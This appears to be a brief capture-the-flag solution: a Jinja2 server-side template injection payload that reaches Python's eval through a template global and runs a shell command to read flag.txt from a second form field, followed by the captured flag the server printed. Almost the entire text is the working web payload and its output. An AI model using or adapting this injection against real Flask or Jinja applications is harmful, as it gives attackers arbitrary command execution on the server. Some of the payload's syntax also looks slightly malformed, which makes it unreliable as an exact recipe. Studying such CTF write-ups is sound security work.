Payload

name={{g.pop["global""s"].builtins.eval(request.form.team_name)}}&team_name=import("os").popen("cat flag.txt").read()

屏幕输出

Haha! No certificate for n00bz{5571_57r1k3s_4g41n_7a1b3f4e5d}